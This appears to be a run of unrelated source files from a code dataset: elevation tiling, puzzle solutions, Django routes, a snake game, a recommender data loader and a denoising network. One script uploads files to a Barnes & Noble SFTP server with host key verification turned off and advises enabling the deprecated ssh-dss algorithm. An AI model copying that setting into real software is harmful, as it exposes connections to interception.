parameter and value)\n ## see https://github.com/stephenslab/dsc/issues/145\n # self.output_table.replace('NA', np.nan, inplace = True)\n # self.output_table = self.output_table.groupby(self.output_table.columns[self.output_table.notnull().all()].tolist(),\n # as_index=False).first().fillna('NA')[self.output_table.columns]\n # situation 2: some rows with NA are exactly subset of some other rows\n # in this case just drop those lines\n pass\n\n def get_queries(self):\n return self.queries\n\n def get_data(self):\n return self.data\n\n def run_queries(self):\n if len(self.queries) == 0:\n raise DBError(\"Incompatible targets ``{}``{}\".\\\n format(', '.join(self.targets),\n f' under condition ``{\" AND \".join([\"(%s)\" % x for x in self.raw_condition])}``' if self.raw_condition is not None else ''))\n res = [('+'.join(reversed(pipeline)), self.adjust_table(sqldf(query.strip(), self.data, pipeline), pipeline)) \\\n for pipeline, query in zip(self.pipelines, self.queries)]\n res = [x for x in res if x[1] is not None]\n if len(res) == 0:\n raise DBError(\"No results found for targets ``{}``{}\".\\\n format(', '.join(self.targets),\n f' under condition ``{\" AND \".join([\"(%s)\" % x for x in self.raw_condition])}``' if self.raw_condition is not None else ''))\n return dict(res)\n\n def warn(self):\n for k in self.field_warnings:\n logger.warning(self.field_warnings[k])\n\n\nif __name__ == '__main__':\n import sys\n q = Query_Processor(sys.argv[1], [sys.argv[2]], [sys.argv[3]])\n print(q.queries)\n","sub_path":"src/query_engine.py","file_name":"query_engine.py","file_ext":"py","file_size_in_byte":29178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"517817089","text":"import matplotlib.pyplot as plt\r\nimport numpy as py\r\n\n\"\"\"\nTakes the latitude and longitude as signed integers and constructs the appropriate file name for the TIF file.\n\"\"\"\n\r\ndef construct_file_name(lat, lon):\r\n cardinal_1 = ''\r\n cardinal_2 = ''\r\n if lat < 0:\r\n cardinal_1 = 's'\r\n elif lat > 0:\r\n cardinal_1 = 'n'\r\n if lon < 0:\r\n cardinal_2 = 'w'\r\n elif lon > 0:\r\n cardinal_2 = 'e'\r\n abs_lat = abs(lat)\r\n abs_lon = abs(lon)\r\n file_name = 'USGS_NED_1_' + cardinal_1 + str(abs_lat) + cardinal_2 + '{0:0=3d}'.format(abs_lon) + '_IMG.tif'\r\n return file_name\r\n\n\"\"\"\nTakes the latitude and longitude as signed integers and loads the appropriate file. It then trims off the boundary of six pixels on all four sides.\n\"\"\"\n\r\ndef load_trim_image(lat, lon):\r\n image = plt.imread(construct_file_name(lat, lon), format=None)\r\n image = image[6:(len(image)-6), 6:(len(image)-6)]\r\n return image\r\n\n\"\"\"\nTakes the northwest corner in degrees latitude and longitude and constructs a 2° by 2° elevation image. Each pixel represents a 1 x 1 arc-second, so the resulting image should be 7200 x 7200 (2 degrees = 7200 arc-seconds).\n\"\"\"\n\r\ndef stitch_four(lat, lon):\r\n im1 = load_trim_image(lat, lon)\r\n im2 = load_trim_image(lat, lon+1)\r\n im3 = load_trim_image(lat-1, lon)\r\n im4 = load_trim_image(lat-1, lon+1)\r\n a = py.concatenate([im1, im3])\r\n b = py.concatenate([im2, im4])\r\n image = py.concatenate([a, b], axis=1)\r\n return image\r\n\n\"\"\"\nTakes the latitude, minimum longitude, and number of tiles and returns an image that combines tiles along a row of different longitudes.\n\"\"\"\n\r\ndef get_row(lat, lon_min, num_tiles):\r\n rows = []\r\n for i in range(num_tiles):\r\n row = load_trim_image(lat, lon_min+i)\r\n rows.append(row)\r\n image = py.concatenate(rows, axis=1)\r\n return image\r\n\n\"\"\"\nTakes the northwest coordinate (maximum latitude, minimum longitude) and the number of tiles in each dimension (num_lat, num_lon) and constructs the image containing the entire range.\n\"\"\"\n\r\ndef get_tile_grid(lat_max, lon_min, num_lat, num_lon):\r\n rows = []\r\n for i in range(num_lat):\r\n row = get_row(lat_max-i, lon_min, num_lon)\r\n rows.append(row)\r\n image = py.concatenate(rows)\r\n return image\r\n\n\"\"\"\nGet the integer coordinates of the northwest corner of the tile that contains this decimal (lat, lon) coordinate.\n\"\"\"\n\r\ndef get_northwest(lat, lon):\r\n nw_lat = int(py.ceil(lat))\r\n nw_lon = int(py.floor(lon))\r\n return nw_lat, nw_lon\n\n\"\"\"\nConstruct the tiled grid of TIF images that contains these northwest and southeast decimal coordinates. Each corner is a tuple (lat, lon).\n\"\"\"\r\n\r\ndef get_tile_grid_decimal(northwest, southeast):\r\n begin_lat, begin_lon = get_northwest(northwest[0], northwest[1])\r\n end_lat, end_lon = get_northwest(southeast[0], southeast[1])\r\n num_lat = abs(int(py.fix(northwest[0])) - int(py.fix(southeast[0]))) + 1\r\n num_lon = abs(int(py.fix(northwest[1])) - int(py.fix(southeast[1]))) + 1\r\n image = get_tile_grid(begin_lat, begin_lon, num_lat, num_lon)\r\n return image\r\n ","sub_path":"usgs_tiling.py","file_name":"usgs_tiling.py","file_ext":"py","file_size_in_byte":3128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"87300931","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n### Advent of Code 2019, Day 1\n\nfrom math import floor\n\nf = open('1.txt', 'r')\nl = f.readlines()\n\ndef calcFuel(input):\n result = floor (int(input) / 3) - 2\n return int(result) if result >=0 else 0\n\nfuel = 0\nfor line in l:\n fuel += calcFuel(line)\n\nprint(\"Part 1\", fuel)\n# 3178783\n\nfuel = 0\nfor line in l:\n result = calcFuel(line)\n while result > 0:\n fuel += result\n result = calcFuel(result)\n\nprint(\"Part 2\", fuel)\n# 4765294","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"538173828","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# \tdef __init__(self, x):\n# \t\tself.val = x\n# \t\tself.next = None\n\nclass Solution(object):\n\tdef reverseList(self, head):\n\t\t\"\"\"\n\t\t:type head: ListNode\n\t\t:rtype: ListNode\n\t\t\"\"\"\n\t\tif(head == None or head.next == None):\n\t\t\treturn head\n\t\tpre = head\n\t\tindex = head.next\n\t\thead.next = None\n\t\twhile(index != None):\n\t\t\tindex.next, pre, index = pre, index, index.next\n\t\treturn pre","sub_path":"Python/206E_Reverse_Linked_List.py","file_name":"206E_Reverse_Linked_List.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"192929540","text":"#! /usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nimport django\r\nimport os\r\nimport pysftp\r\nimport sys\r\n\r\nfrom django.conf import settings\r\nfrom djtools.utils.mail import send_mail\r\n\r\n\r\n# django settings for shell environment\r\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'djmapache.settings.shell')\r\n\r\n# required for interacting with django infrastructure e.g. templates\r\ndjango.setup()\r\n\r\n# informix environment\r\nos.environ['INFORMIXSERVER'] = settings.INFORMIXSERVER\r\nos.environ['DBSERVERNAME'] = settings.DBSERVERNAME\r\nos.environ['INFORMIXDIR'] = settings.INFORMIXDIR\r\nos.environ['ODBCINI'] = settings.ODBCINI\r\nos.environ['ONCONFIG'] = settings.ONCONFIG\r\nos.environ['INFORMIXSQLHOSTS'] = settings.INFORMIXSQLHOSTS\r\nos.environ['LD_LIBRARY_PATH'] = settings.LD_LIBRARY_PATH\r\nos.environ['LD_RUN_PATH'] = settings.LD_RUN_PATH\r\n\r\nDEBUG = settings.DEBUG\r\nINFORMIX_DEBUG = settings.INFORMIX_DEBUG\r\nBASE_DIR = settings.BASE_DIR\r\nTO = settings.BARNESNOBLE_TO_EMAIL\r\nFROM = settings.BARNESNOBLE_FROM_EMAIL\r\nSUBJECT = \"[Barnes & Noble] AIP upload {status}\".format\r\n\r\n\r\ndef main():\r\n \"\"\"Barnes and Noble Upload.\"\"\"\r\n ###########################################################################\r\n # OpenSSH 7.0 and greater disable the ssh-dss (DSA) public key algorithm,\r\n # which B&N use for authentication on their servers, so you have to add\r\n # ssh-dss to the ssh/sftp command:\r\n #\r\n # -oHostKeyAlgorithms=+ssh-dss\r\n #\r\n # or add the following to the cron user's .ssh/config file:\r\n #\r\n # Host rex-sftp.bncollege.com\r\n # HostName rex-sftp.bncollege.com\r\n # HostKeyAlgorithms=+ssh-dss\r\n ###########################################################################\r\n\r\n cnopts = pysftp.CnOpts()\r\n cnopts.hostkeys = None\r\n xtrnl_connection = {\r\n 'host': settings.BARNESNOBLE_AIP_HOST,\r\n 'username': settings.BARNESNOBLE_AIP_USER,\r\n 'port': settings.BARNESNOBLE_AIP_PORT,\r\n 'private_key': settings.BARNESNOBLE_AIP_KEY,\r\n 'cnopts': cnopts,\r\n }\r\n\r\n phile = os.path.join(settings.BARNESNOBLE_AIP_DATA, 'test.csv')\r\n\r\n try:\r\n with pysftp.Connection(**xtrnl_connection) as sftp:\r\n sftp.cwd('inbox')\r\n if DEBUG:\r\n print('put phile')\r\n print(phile)\r\n sftp.put(phile)\r\n if DEBUG:\r\n for attr in sftp.listdir_attr():\r\n print(attr.filename, attr)\r\n sftp.close()\r\n success = True\r\n except Exception as error:\r\n success = False\r\n body = \"\"\"\r\n Unable to PUT AIP file to Barnes and Noble server.\\n\\n{0}\r\n \"\"\".format(error)\r\n send_mail(\r\n None,\r\n TO,\r\n SUBJECT(status='failed'),\r\n FROM,\r\n 'email.html',\r\n body,\r\n )\r\n if DEBUG:\r\n print(error)\r\n\r\n # sFTP upload complete send success message\r\n if success:\r\n body = '[Barnes and Noble] AIP files were successfully uploaded.'\r\n subject = SUBJECT(status='success')\r\n send_mail(None, TO, subject, FROM, 'email.html', body)\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n sys.exit(main())\r\n","sub_path":"djmapache/bin/barnesandnoble_aip.py","file_name":"barnesandnoble_aip.py","file_ext":"py","file_size_in_byte":3192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"7337326","text":"from django.urls import path\r\n\r\nfrom .views import (\r\n login_user,\r\n register,\r\n log_out,\r\n user_panel,\r\n edit_profile,\r\n AdminHome,\r\n ProductCreate,\r\n ProductUpdate,\r\n ProductDelete,\r\n OrderView,\r\n OrderUpdate,\r\n OrderDetailView\r\n)\r\n\r\napp_name = 'account'\r\nurlpatterns = [\r\n path('login', login_user, name='login'),\r\n path('register', register, name='register'),\r\n path('log-out', log_out, name='log-out'),\r\n path('user', user_panel, name='user_panel'),\r\n path('user/edit', edit_profile, name='edit_profile'),\r\n \r\n path('account/', AdminHome.as_view(), name='home'),\r\n path('account/product/create', ProductCreate.as_view(), name='product-create'),\r\n path('account/product/update/', ProductUpdate.as_view(), name='product-update'),\r\n path('account/product/delete/', ProductDelete.as_view(), name='product-delete'),\r\n path('account/order', OrderView.as_view(), name='order'),\r\n path('account/order/update/', OrderUpdate.as_view(), name='order-update'),\r\n path('account/order-detail/', OrderDetailView.as_view(), name='order-detail'),\r\n]\r\n","sub_path":"Gil_Account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"478977432","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Ed Mountjoy\n#\n\nimport sys\nimport os\nimport argparse\nimport pandas as pd\nimport numpy as np\n\ndef main():\n\n # Parse args\n args = parse_args()\n\n # Load top loci\n loci = pd.read_csv(args.in_loci, sep='\\t', header=0)\n\n # Explode lines\n loci['variant_id_b37'] = loci['variant_id_b37'].astype(str).str.split(';')\n loci['rsid'] = loci['rsid'].astype(str).str.split(';')\n loci = explode(loci, ['variant_id_b37', 'rsid'])\n\n # Load ld\n ld = pd.read_csv(args.in_ld, sep='\\t', header=0)\n\n # Merge\n merged = pd.merge(loci, ld,\n how='left',\n left_on='variant_id_b37',\n right_on='varid_1_b37')\n\n # Keep required columns\n merged = merged.loc[:, ['study_id', 'variant_id_b37', 'varid_2_b37', 'r2']]\n merged = merged.drop_duplicates()\n merged =merged.rename(columns={'r2': 'overall_r2',\n 'variant_id_b37': 'index_variantid_b37',\n 'varid_2_b37': 'tag_variantid_b37'})\n\n # Drop rows with missing LD information\n merged = merged.dropna()\n\n # Add columns\n merged['AFR_1000G_prop'] = 0.0\n merged['AMR_1000G_prop'] = 0.0\n merged['EAS_1000G_prop'] = 0.0\n merged['EUR_1000G_prop'] = 1.0\n merged['SAS_1000G_prop'] = 0.0\n\n # Save\n merged.to_csv(args.outf, sep='\\t', index=None, compression='gzip')\n\ndef explode(df, columns):\n ''' Explodes multiple columns\n '''\n idx = np.repeat(df.index, df[columns[0]].str.len())\n a = df.T.reindex_axis(columns).values\n concat = np.concatenate([np.concatenate(a[i]) for i in range(a.shape[0])])\n p = pd.DataFrame(concat.reshape(a.shape[0], -1).T, idx, columns)\n return pd.concat([df.drop(columns, axis=1), p], axis=1).reset_index(drop=True)\n\ndef parse_args():\n \"\"\" Load command line args \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--in_ld', metavar=\"\", type=str, required=True)\n parser.add_argument('--in_loci', metavar=\"\", type=str, required=True)\n parser.add_argument('--outf', metavar=\"\", type=str, required=True)\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n\n main()\n","sub_path":"scripts/merge_postgap_ld_to_top_loci.py","file_name":"merge_postgap_ld_to_top_loci.py","file_ext":"py","file_size_in_byte":2240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"210993921","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 5 11:50:08 2018\n\n@author: peternapolean\n\"\"\"\n\nimport scipy.sparse as sp\nfrom scipy.sparse.linalg import svds\nimport numpy as np\nimport pandas as pd\nimport os\nimport gzip\nimport pickle\nfrom scipy.sparse import csr_matrix as sparse_matrix\nfrom surprise.prediction_algorithms.matrix_factorization import SVD, SVDpp, NMF\nfrom surprise import Dataset,Reader\nfrom random import sample\n\ndef parse(path):\n g = gzip.open(path, 'r')\n for l in g:\n yield eval(l)\n\nclass DataLoader(object):\n def __init__(self,category,save_name):\n self.category=category\n self.max_user=10000 #maximum number of user\n self.price_dict={}\n self.price_dict_temp={}\n self.cate_dict={}\n self.cate_dict_temp={}\n self.top_value=15 # top x features in SVD\n self.model=NMF()\n self.topk=500 #maximum items in each category, finding the top k popular\n self.max_price={}\n self.save_path= os.path.join(\"..\", \"feature\", save_name)\n if not os.path.isfile(self.save_path):\n self.load_data() #load raw data\n #self.create_user_item_matrix()\n self.create_ratings()\n self.gen_new_price_dict()\n self.save_data(self.save_path) #save the feature\n else:\n self.load(self.save_path) #load the feature\n \n \n def load_ratings(self, filename):\n with open(os.path.join(\"..\", \"data\", filename), \"rb\") as f:\n ratings = pd.read_csv(f,names=(\"user\",\"item\",\"rating\",\"timestamp\"))\n return ratings\n \n def load_prices(self,filename):\n price_dict = {}\n num_no_price=0\n for review in parse(os.path.join(\"..\", \"data\", filename)):\n try:\n price=review['price']\n asin=review['asin']\n v=list(review['salesRank'].values())[0]\n if v= 500 or snake_head[0] < 0 or snake_head[1] >= 500 or snake_head[1] < 0:\n return 1\n else:\n return 0\n\n def collision_with_self(self, snake_position):\n snake_head = snake_position[0]\n if snake_head in snake_position[1:]:\n return 1\n else:\n return 0\n\n def is_blocked_dir(self, snake_position, current_dir_vector):\n next_step = snake_position[0] + current_dir_vector\n snake_head = snake_position[0]\n if self.collision_with_boundaries(snake_head) == 1 or self.collision_with_self(snake_position) == 1:\n return 1\n else:\n return 0\n\n def play_game(self, snake_head, snake_position, apple_position, apple, button_dir, score):\n prev_button_dir = 1\n button_dir = 1\n current_dir_vector = np.array(snake_position[0]) - np.array(snake_position[1])\n collide = False\n\n while collide is not True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n collide = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT and prev_button_dir != 1:\n button_dir = 0\n elif event.key == pygame.K_RIGHT and prev_button_dir != 0:\n button_dir = 1\n elif event.key == pygame.K_UP and prev_button_dir != 2:\n button_dir = 3\n elif event.key == pygame.K_DOWN and prev_button_dir != 3:\n button_dir = 2\n else:\n button_dir = button_dir\n self.display.fill(self.WIN_COLOR)\n self.display_apple(self.display, apple_position, apple)\n self.display_snake(snake_position)\n snake_position, apple_position, score = self.create_snake(snake_head, snake_position, apple_position,\n button_dir, score)\n pygame.display.set_caption(\"Snake Game Score:\"+str(score))\n pygame.display.update()\n prev_button_dir = button_dir\n if self.is_blocked_dir(snake_position, current_dir_vector) == 1:\n collide = True\n self.clock.tick(3)\n return score\n\n def display_score(self, display_text):\n text_font = pygame.font.Font('freesansbold.ttf', 35)\n text_surf = text_font.render(display_text, True, self.BLACK)\n text_rect = text_surf.get_rect()\n text_rect.center = ((self.width/2), (self.height/2))\n self.display.blit(text_surf, text_rect)\n pygame.display.update()\n time.sleep(2)\n\n\n def run(self):\n pygame.init()\n self.display.fill(self.WIN_COLOR)\n pygame.display.update()\n final_score = self.play_game(self.snake_head, self.snake_position, self.apple_position, self.apple, 1,\n self.score)\n display = pygame.display.set_mode((self.width, self.height))\n display.fill(self.WIN_COLOR)\n pygame.display.update()\n\n display_text = \"Your Score is: \"+str(final_score)\n self.display_score(display_text)\n\n pygame.quit()\n\n\nif __name__ == \"__main__\":\n app = SnakeGame()\n app.run()\n","sub_path":"Games/snake_game.py","file_name":"snake_game.py","file_ext":"py","file_size_in_byte":5292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"644395508","text":"# Copyright (c) 2020, Xilinx, Inc.\n# All rights reserved.\n# \n# Redistribution and use in source and binary forms, with or without \n# modification, are permitted provided that the following conditions are met:\n#\n# 1. Redistributions of source code must retain the above copyright notice, \n# this list of conditions and the following disclaimer.\n#\n# 2. Redistributions in binary form must reproduce the above copyright \n# notice, this list of conditions and the following disclaimer in the \n# documentation and/or other materials provided with the distribution.\n#\n# 3. Neither the name of the copyright holder nor the names of its \n# contributors may be used to endorse or promote products derived from \n# this software without specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, \n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR \n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, \n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, \n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n# OR BUSINESS INTERRUPTION). HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, \n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR \n# OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nfrom collections import OrderedDict\n\ndef state_dict_retrocompatibility(state_dict):\n new_state_dict = OrderedDict()\n\n weight_bit_width_offset_update = lambda key: key.replace('weight_quantization.tensor_quantization.bit_width_logic.bit_width_offset',\n 'weight_quant.tensor_quant.msb_clamp_bit_width_impl.bit_width_offset') \\\n if key.endswith('bit_width_logic.bit_width_offset') else key\n\n act_bit_width_offset_update = lambda key: key.replace('tensor_quantization.bit_width_logic.bit_width_offset',\n 'activation_quant.fused_activation_quant.tensor_quant.msb_clamp_bit_width_impl.bit_width_offset') \\\n if key.endswith('bit_width_logic.bit_width_offset') else key\n\n scaling_update = lambda key: key.replace('tensor_quantization.alphas_logic.value',\n 'activation_quant.fused_activation_quant.tensor_quant.scaling_impl.value') \\\n if key.endswith('alphas_logic.value') else key\n\n for key, value in state_dict.items():\n new_key = weight_bit_width_offset_update(key)\n new_key = act_bit_width_offset_update(new_key)\n new_key = scaling_update(new_key)\n new_state_dict[new_key] = value\n return new_state_dict\n\ndef state_dict_update(state_dict, config):\n\n for key, value in state_dict.items():\n if config.override_bit_width:\n if key.endswith('bit_width_offset'):\n del state_dict[key]\n return state_dict","sub_path":"trainablePreprocessing_examples/cifar_classification/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"547050114","text":"import scipy.sparse as ss\nimport shutil\nimport torch\nimport numpy as np\nimport os\nimport cv2\nimport torch.nn as nn\n\nfrom torchvision.utils import save_image\nfrom torch.utils.data import Dataset, DataLoader\n\ncuda = True if torch.cuda.is_available() else False\n\nif cuda:\n dtype = torch.cuda.FloatTensor\nelse:\n dtype = torch.FloatTensor\n\ndv = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n\n\nclass cnnf_2(nn.Module):\n def __init__(self, opt):\n super(cnnf_2, self).__init__()\n self.layer = nn.Sequential(\n nn.Conv2d(opt.channels, 32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.Conv2d(32, 6, kernel_size=3, stride=1, padding=1),\n )\n\n def forward(self, x):\n out = self.layer(x)\n return out\n\nclass uu(nn.Module):\n def __init__(self):\n super(uu,self).__init__()\n self.u = torch.nn.Parameter(torch.rand(1), requires_grad=True)\n def forward(self):\n return self.u\n\nclass cnnu(nn.Module):\n \"\"\"\n CNNU of GLR\n \"\"\"\n\n def __init__(self, u_min=1e-3, opt=None):\n super(cnnu, self).__init__()\n self.layer = nn.Sequential(\n nn.Conv2d(opt.channels, 32, kernel_size=3, stride=2, padding=1),\n nn.LeakyReLU(0.05),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.LeakyReLU(0.05),\n nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.LeakyReLU(0.05),\n nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True),\n nn.Conv2d(32, 32, kernel_size=3, stride=1, padding=1),\n nn.LeakyReLU(0.05),\n nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True),\n )\n\n self.opt = opt\n self.u_min = u_min\n self.fc = nn.Sequential(\n nn.Linear(self.linear_input_neurons(), 1 * 1 * 32),\n nn.Linear(1 * 1 * 32, 1),\n nn.ReLU()\n )\n\n def forward(self, x):\n out = self.layer(x)\n out = out.view(out.shape[0], -1)\n out = self.fc(out)\n return out\n\n def size_after_relu(self, x):\n x = self.layer(x)\n\n return x.size()\n\n def linear_input_neurons(self):\n size = self.size_after_relu(\n torch.rand(1, self.opt.channels, self.opt.width, self.opt.width)\n )\n m = 1\n for i in size:\n m *= i\n\n return int(m)\n\nclass RENOIR_Dataset(Dataset):\n \"\"\"\n Dataset loader\n \"\"\"\n\n def __init__(self, img_dir, transform=None, subset=None):\n \"\"\"\n Args:\n img_dir (string): Path to the csv file with annotations.\n transform (callable, optional): Optional transform to be applied on a sample.\n \"\"\"\n self.img_dir = img_dir\n self.npath = os.path.join(img_dir, \"noisy\")\n self.rpath = os.path.join(img_dir, \"ref\")\n self.subset = subset\n self.nimg_name = sorted(os.listdir(self.npath))\n self.rimg_name = sorted(os.listdir(self.rpath))\n self.nimg_name = [\n i\n for i in self.nimg_name\n if i.split(\".\")[-1].lower() in [\"jpeg\", \"jpg\", \"png\", \"bmp\", \"tif\"]\n ]\n\n self.rimg_name = [\n i\n for i in self.rimg_name\n if i.split(\".\")[-1].lower() in [\"jpeg\", \"jpg\", \"png\", \"bmp\", \"tif\"]\n ]\n\n if self.subset:\n nimg_name = list()\n rimg_name = list()\n for i in range(len(self.nimg_name)):\n for j in self.subset:\n if j in self.nimg_name[i]:\n nimg_name.append(self.nimg_name[i])\n # if j in self.rimg_name[i]:\n rimg_name.append(self.rimg_name[i])\n self.nimg_name = sorted(nimg_name)\n self.rimg_name = sorted(rimg_name)\n\n self.transform = transform\n\n def __len__(self):\n return len(self.nimg_name)\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n uid = np.random.randint(0, 8) # augment type\n # uid = 0\n nimg_name = os.path.join(self.npath, self.nimg_name[idx])\n nimg = cv2.imread(nimg_name)\n nimg = data_aug(nimg, uid)\n rimg_name = os.path.join(self.rpath, self.rimg_name[idx])\n rimg = cv2.imread(rimg_name)\n rimg = data_aug(rimg, uid)\n\n sample = {\"nimg\": nimg, \"rimg\": rimg}\n\n if self.transform:\n sample = self.transform(sample)\n\n return sample\n\n\nclass standardize(object):\n \"\"\"Convert opencv BGR to RGB order. Scale the image with a ratio\"\"\"\n\n def __init__(self, scale=None, w=None, normalize=None):\n \"\"\"\n Args:\n scale (float): resize height and width of samples to scale*width and scale*height\n width (float): resize height and width of samples to width x width. Only works if \"scale\" is not specified\n \"\"\"\n self.scale = scale\n self.w = w\n self.normalize = normalize\n\n def __call__(self, sample):\n nimg, rimg = sample[\"nimg\"], sample[\"rimg\"]\n if self.scale:\n nimg = cv2.resize(nimg, (0, 0), fx=self.scale, fy=self.scale)\n rimg = cv2.resize(rimg, (0, 0), fx=self.scale, fy=self.scale)\n else:\n if self.w:\n nimg = cv2.resize(nimg, (self.w, self.w))\n rimg = cv2.resize(rimg, (self.w, self.w))\n if self.normalize:\n nimg = cv2.resize(nimg, (0, 0), fx=1, fy=1)\n rimg = cv2.resize(rimg, (0, 0), fx=1, fy=1)\n nimg = cv2.cvtColor(nimg, cv2.COLOR_BGR2RGB)\n rimg = cv2.cvtColor(rimg, cv2.COLOR_BGR2RGB)\n if self.normalize:\n nimg = nimg / 255.0\n rimg = rimg / 255.0\n return {\"nimg\": nimg, \"rimg\": rimg}\n\n\nclass ToTensor(object):\n \"\"\"Convert ndarrays in sample to Tensors.\"\"\"\n\n def __call__(self, sample):\n \"\"\"\n Swap color axis from H x W x C (numpy) to C x H x W (torch)\n \"\"\"\n nimg, rimg = sample[\"nimg\"], sample[\"rimg\"]\n nimg = nimg.transpose((2, 0, 1))\n rimg = rimg.transpose((2, 0, 1))\n return {\n \"nimg\": torch.from_numpy(nimg), \n \"rimg\": torch.from_numpy(rimg)\n }\n\n\ndef data_aug(img, mode=0):\n # data augmentation\n if mode == 0:\n return img\n elif mode == 1:\n return np.flipud(img)\n elif mode == 2:\n return np.rot90(img)\n elif mode == 3:\n return np.flipud(np.rot90(img))\n elif mode == 4:\n return np.rot90(img, k=2)\n elif mode == 5:\n return np.flipud(np.rot90(img, k=2))\n elif mode == 6:\n return np.rot90(img, k=3)\n elif mode == 7:\n return np.flipud(np.rot90(img, k=3))\n\n\ndef connected_adjacency(image, connect=8, patch_size=(1, 1)):\n \"\"\"\n Construct 8-connected pixels base graph (0 for not connected, 1 for connected)\n \"\"\"\n r, c = image.shape[:2]\n r = int(r / patch_size[0])\n c = int(c / patch_size[1])\n\n if connect == \"4\":\n # constructed from 2 diagonals above the main diagonal\n d1 = np.tile(np.append(np.ones(c - 1), [0]), r)[:-1]\n d2 = np.ones(c * (r - 1))\n upper_diags = ss.diags([d1, d2], [1, c])\n return upper_diags + upper_diags.T\n\n elif connect == \"8\":\n # constructed from 4 diagonals above the main diagonal\n d1 = np.tile(np.append(np.ones(c - 1), [0]), r)[:-1]\n d2 = np.append([0], d1[: c * (r - 1)])\n d3 = np.ones(c * (r - 1))\n d4 = d2[1:-1]\n upper_diags = ss.diags([d1, d2, d3, d4], [1, c - 1, c, c + 1])\n return upper_diags + upper_diags.T\n\n\ndef weights_init_normal(m):\n \"\"\"\n Initialize weights of convolutional layers\n \"\"\"\n classname = m.__class__.__name__\n if classname.find(\"Conv\") != -1:\n torch.nn.init.normal_(m.weight.data, 0.0, 0.02)\n\nclass OPT:\n def __init__(\n self,\n batch_size=100,\n width=36,\n connectivity=\"8\",\n channels=3,\n u_max=100,\n u_min=10,\n lr=1e-4,\n momentum=0.99,\n ver=None,\n train=\"gauss_batch\",\n cuda=False,\n logger=None,\n legacy=False\n ):\n self.batch_size = batch_size\n self.legacy = legacy\n self.width = width\n self.edges = 0\n self.nodes = width ** 2\n self.I = None\n self.pairs = None\n self.H = None\n self.connectivity = connectivity\n self.channels = channels\n self.lr = lr\n self.momentum = momentum\n self.u_max = u_max\n self.u_min = u_min\n self.ver = ver\n self.D = None\n self.train = train\n self.cuda = cuda\n if cuda:\n self.dtype = torch.cuda.FloatTensor\n else:\n self.dtype = torch.FloatTensor\n self.logger = logger\n\n def _print(self):\n self.logger.info(\n \"batch_size = {0}, width = {1}, channels = {2}, u_min = {3}, u_max = {4}, lr = {5}, momentum = {6}\".format(\n self.batch_size,\n self.width,\n self.channels,\n self.u_min,\n self.u_max,\n self.lr,\n self.momentum,\n )\n )\n\n\nclass GTV(nn.Module):\n \"\"\"\n GTV network\n \"\"\"\n\n def __init__(\n self,\n width=36,\n prox_iter=5,\n u_min=1e-3,\n u_max=1,\n cuda=False,\n opt=None,\n ):\n super(GTV, self).__init__()\n\n self.opt = opt\n self.logger = opt.logger\n self.wt = width\n self.width = width\n self.cnnf = 